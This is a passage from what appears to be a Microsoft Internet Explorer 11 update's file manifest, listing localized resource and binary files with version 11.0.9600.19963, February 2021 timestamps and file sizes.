13-Feb-2021| 12:48| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 10,752 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 307,200 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 293,888 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 290,304 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 289,280 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 299,008 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 303,104 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:47| 282,112 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 296,960 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 283,648 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 291,840 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 299,520 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 275,968 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 293,376 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 296,960 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 258,048 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 256,512 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 289,280 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 288,256 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 285,184 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 295,424 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 297,472 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 292,864 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 295,424 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 294,400 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 294,400 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 292,864 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 288,768 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 286,208 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 281,600 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 286,720 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 292,352 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 242,176 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 243,200 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 243,200 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 61,440 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 73,728 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 67,584 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 67,584 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 74,240 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 78,848 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:47| 61,440 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 74,752 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 62,464 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 68,096 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 75,264 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 61,440 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 72,192 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 73,216 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 41,472 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 37,888 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 67,584 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 65,536 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 74,240 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 70,656 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 71,168 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 71,680 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 71,168 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 69,632 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 68,096 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 68,096 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 65,536 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 59,904 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 65,536 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 69,120 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 29,696 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 30,720 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 30,720 \nJavaScriptCollectionAgent.dll| 11.0.9600.19963| 12-Feb-2021| 18:47| 77,824 \nDiagnosticsHub.ScriptedSandboxPlugin.dll| 11.0.9600.19963| 12-Feb-2021| 18:49| 276,480 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 46,080 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 51,712 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 54,272 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 50,688 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 45,056 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 39,936 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 39,424 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 51,200 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 50,688 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 35,328 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 35,328 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 35,328 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 11,264 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:47| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 9,216 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 7,680 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 7,680 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 6,656 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 6,656 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 6,656 \nwininet.dll| 11.0.9600.19963| 12-Feb-2021| 18:15| 4,859,904 \njsproxy.dll| 11.0.9600.19963| 12-Feb-2021| 19:08| 54,784 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 114,176 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 130,560 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 124,928 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 122,880 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 130,048 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 138,240 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:47| 114,688 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 131,584 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 117,760 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 122,368 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 134,144 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 107,008 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 123,392 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 127,488 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 128,512 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 88,576 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 82,944 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 125,440 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 123,392 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 120,320 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 130,560 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 125,952 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 128,000 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 124,416 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 121,856 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 115,712 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 125,440 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 72,704 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 73,728 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 73,728 \niedkcs32.dll| 18.0.9600.19963| 13-Feb-2021| 12:45| 390,560 \ninstall.ins| Not versioned| 12-Feb-2021| 16:26| 464 \nieapfltr.dat| 10.0.9301.0| 25-Jun-2019| 6:11| 616,104 \nieapfltr.dll| 11.0.9600.19963| 12-Feb-2021| 17:53| 800,768 \ntdc.ocx| 11.0.9600.19963| 12-Feb-2021| 18:47| 88,064 \nDiagnosticsHub.DataWarehouse.dll| 11.0.9600.19963| 12-Feb-2021| 19:19| 666,624 \niedvtool.dll| 11.0.9600.19963| 12-Feb-2021| 21:02| 950,784 \nDiagnosticsHub_is.dll| 11.0.9600.19963| 12-Feb-2021| 19:21| 50,176 \ndxtmsft.dll| 11.0.9600.19963| 12-Feb-2021| 18:53| 491,008 \ndxtrans.dll| 11.0.9600.19963| 12-Feb-2021| 18:40| 316,416 \nMicrosoft-Windows-IE-F12-Provider.ptxml| Not versioned| 12-Feb-2021| 16:23| 11,892 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 3,584 \nDiagnosticsTap.dll| 11.0.9600.19963| 12-Feb-2021| 18:51| 245,248 \nF12Resources.dll| 11.0.9600.19963| 12-Feb-2021| 19:24| 10,949,120 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 2,048 \nF12Tools.dll| 11.0.9600.19963| 12-Feb-2021| 18:50| 372,224 \nF12.dll| 11.0.9600.19963| 12-Feb-2021| 18:37| 1,422,848 \nmsfeeds.dll| 11.0.9600.19963| 12-Feb-2021| 18:28| 809,472 \nmsfeeds.mof| Not versioned| 12-Feb-2021| 16:34| 1,518 \nmsfeedsbs.mof| Not versioned| 12-Feb-2021| 16:34| 1,574 \nmsfeedsbs.dll| 11.0.9600.19963| 12-Feb-2021| 18:43| 60,416 \nmsfeedssync.exe| 11.0.9600.19963| 12-Feb-2021| 19:17| 13,312 \nhtml.iec| 2019.0.0.19963| 12-Feb-2021| 19:15| 417,280 \nmshtmled.dll| 11.0.9600.19963| 12-Feb-2021| 18:42| 92,672 \nmshtmlmedia.dll| 11.0.9600.19963| 12-Feb-2021| 18:26| 1,360,384 \nmshtml.dll| 11.0.9600.19963| 12-Feb-2021| 21:02| 25,762,816 \nmshtml.tlb| 11.0.9600.19963| 12-Feb-2021| 19:29| 2,724,864 \nMicrosoft-Windows-IE-HTMLRendering.ptxml| Not versioned| 12-Feb-2021| 16:23| 3,228 \nieetwcollector.exe| 11.0.9600.19963| 12-Feb-2021| 19:04| 116,224 \nieetwproxystub.dll| 11.0.9600.19963| 12-Feb-2021| 19:15| 48,640 \nieetwcollectorres.dll| 11.0.9600.19963| 12-Feb-2021| 19:29| 4,096 \nielowutil.exe| 11.0.9600.19963| 12-Feb-2021| 19:06| 222,720 \nieproxy.dll| 11.0.9600.19963| 12-Feb-2021| 17:48| 870,400 \nIEShims.dll| 11.0.9600.19963| 12-Feb-2021| 17:57| 387,072 \nWindows Pop-up Blocked.wav| Not versioned| 25-Jun-2019| 6:16| 85,548 \nWindows Information Bar.wav| Not versioned| 25-Jun-2019| 6:16| 23,308 \nWindows Feed Discovered.wav| Not versioned| 25-Jun-2019| 6:16| 19,884 \nWindows Navigation Start.wav| Not versioned| 25-Jun-2019| 6:16| 11,340 \nbing.ico| Not versioned| 25-Jun-2019| 6:14| 5,430 \nieUnatt.exe| 11.0.9600.19963| 12-Feb-2021| 19:04| 144,384 \nMicrosoft-Windows-IE-InternetExplorer-ppdlic.xrm-ms| Not versioned| 13-Feb-2021| 13:47| 2,956 \njsprofilerui.dll| 11.0.9600.19963| 12-Feb-2021| 18:44| 628,736 \nMemoryAnalyzer.dll| 11.0.9600.19963| 12-Feb-2021| 19:01| 1,862,656 \nMshtmlDac.dll| 11.0.9600.19963| 12-Feb-2021| 19:14| 88,064 \nnetworkinspection.dll| 11.0.9600.19963| 12-Feb-2021| 18:38| 1,217,024 \noccache.dll| 11.0.9600.19963| 12-Feb-2021| 18:39| 152,064 \ndesktop.ini| Not versioned| 25-Jun-2019| 6:12| 65 \nwebcheck.dll| 11.0.9600.19963| 12-Feb-2021| 18:30| 262,144 \ndesktop.ini| Not versioned| 25-Jun-2019| 6:12| 65 \nmsrating.dll| 11.0.9600.19963| 12-Feb-2021| 18:43| 199,680 \nicrav03.rat| Not 